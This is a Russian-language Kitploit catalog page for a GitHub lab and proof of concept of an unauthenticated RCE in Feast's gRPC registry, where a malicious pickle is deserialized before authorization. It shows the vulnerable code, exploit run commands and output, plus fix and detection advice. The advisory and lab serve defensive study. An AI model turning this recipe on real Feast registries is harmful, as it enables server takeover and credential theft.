Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-56121-Feast-Unauth-RCE — CVE-2026-56121 — Feast <0.63.0 неаутентифицированное RCE через gRPC реестр dill.loads UDF OnDemandFeatureView (pre-auth). Лабораторная работа + PoC, проверено e2e. | Kitploit
Инструменты/GitHubGitHub/biitts/cve-2026-56121-feast-unauth-rce
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийАнализ вредоносных программТестирование на ПроникновениеОбучение и ОбразованиеРазработка Полезной НагрузкиЛаборатории и Практика

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHubbiitts/cve-2026-56121-feast-unauth-rce

CVE-2026-56121-Feast-Unauth-RCE

CVE-2026-56121 — Feast <0.63.0 неаутентифицированное RCE через gRPC реестр dill.loads UDF OnDemandFeatureView (pre-auth). Лабораторная работа + PoC, проверено e2e.

Репозиторий
1 месяц назадЕщё не проверено

CVE-2026-56121 — Feast: неаутентифицированное RCE через десериализацию gRPC Registry

Feast < 0.63.0 registry gRPC сервер dill.loads() определенную пользователем функцию OnDemandFeatureView сразу же после поступления спецификации — до любой проверки авторизации. Поставляемая конфигурация — auth: no_auth, поэтому любой клиент, который может достичь порта регистрации (по умолчанию 6570), получает неаутентифицированное удаленное выполнение кода, отправив один запрос ApplyFeatureView с вредоносным pickle.

CVECVE-2026-56121
ЗатрагиваетFeast < 0.63.0
Исправлено0.63.0
КлассCWE-502 (Десериализация недоверенных данных) → RCE
CVSS9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
АутентификацияНет (auth: no_auth по умолчанию; десериализация происходит до авторизации)
Поверхностьregistry gRPC RegistryServer.ApplyFeatureView (порт по умолчанию 6570)
СтатусПОДТВЕРЖДЕНО — воспроизведено от начала до конца на feast==0.62.0

Корневая причина

sdk/python/feast/registry_server.py:

root@kitploit:~
def ApplyFeatureView(self, request, context):
    feature_view_type = request.WhichOneof("base_feature_view")
    ...
    elif feature_view_type == "on_demand_feature_view":
        feature_view = OnDemandFeatureView.from_proto(request.on_demand_feature_view)  # (1) deserialize
        ...
    assert_permissions_to_update(resource=feature_view, ...)                            # (2) authorize
    self.proxied_registry.apply_feature_view(...)

from_proto (1) вызывается до проверки разрешений (2). Она разбирает преобразование, которое dill.loads() тело UDF — sdk/python/feast/transformation/pandas_transformation.py (и python_transformation.py):

root@kitploit:~
@classmethod
def from_proto(cls, user_defined_function_proto):
    return cls(
        udf=dill.loads(user_defined_function_proto.body),   # <-- pickle под контролем злоумышленника
        udf_string=user_defined_function_proto.body_text,
    )

dill является надмножеством pickle, поэтому dill.loads() от байт злоумышленника вызывает механизм pickle __reduce__ → произвольное выполнение кода. Поскольку он выполняется до assert_permissions_to_update — а по умолчанию auth: no_auth делает эту проверку неэффективной — RCE является неаутентифицированным.

Воспроизведение

root@kitploit:~
# 1. Start a vulnerable registry server (feast 0.62.0, gRPC :6570, default no_auth)
docker compose -f lab/docker-compose.yml up --build -d

# 2. Fire the PoC (no credentials)
pip install "feast==0.62.0" grpcio
python3 exploit.py 127.0.0.1:6570 -c "id; hostname"

# 3. Command output appears on the registry host
docker compose -f lab/docker-compose.yml exec feast cat /tmp/feast_pwned
#   uid=...(...)  <hostname>

Наблюдается:

root@kitploit:~
[*] sending ApplyFeatureView with a 124-byte malicious pickle in user_defined_function.body
[*] RPC status: UNKNOWN - Exception calling application: 0 is not a module, class, method, or function.
[+] dill.loads executed the payload server-side during from_proto.

В конечном итоге RPC выдает ошибку (распакованный объект больше не является вызываемой UDF), но команда уже выполнилась во время dill.loads() — cat /tmp/feast_pwned возвращает живой вывод id/uname, что доказывает выполнение, а не эхо.

Воздействие

Любой, кто может достичь порта gRPC регистрации Feast, выполняет произвольные команды ОС от имени учетной записи службы регистрации — полная компрометация хранилища признаков и офлайн/онлайн хранилищ, реестров и облачных учетных данных, к которым он подключен. Реестры Feast часто открыты внутри платформ машинного обучения для вызова клиентами SDK.

Исправление

  • Обновитесь до Feast ≥ 0.63.0, в котором добавлен путь skip_udf, так что сервер регистрации больше не десериализует тело UDF входящих спецификаций.
  • Защита в глубину: включите auth (oidc/kubernetes) и никогда не открывайте порт регистрации для ненадежных сетей. Обратите внимание, что одной аутентификации недостаточно на версии < 0.63.0, поскольку десериализация происходит до проверки авторизации.

Обнаружение

Оповещайте о RPC-вызовах ApplyFeatureView / ApplyMaterialization к регистрации, у которых OnDemandFeatureView user_defined_function.body не создан доверенным клиентом, а также о процессах регистрации, порождающих оболочки.

Смотрите ANALYSIS.md для пути proto, порядка десериализации перед авторизацией и патча.


  • Автор: Caio Fabrício — github.com/BiiTts
  • Авторство уязвимости принадлежит первоначальному репортеру / уведомлению вендора; этот репозиторий является независимым воспроизведением для защитного и образовательного использования. Только для авторизованного тестирования безопасности.
Скачать инструмент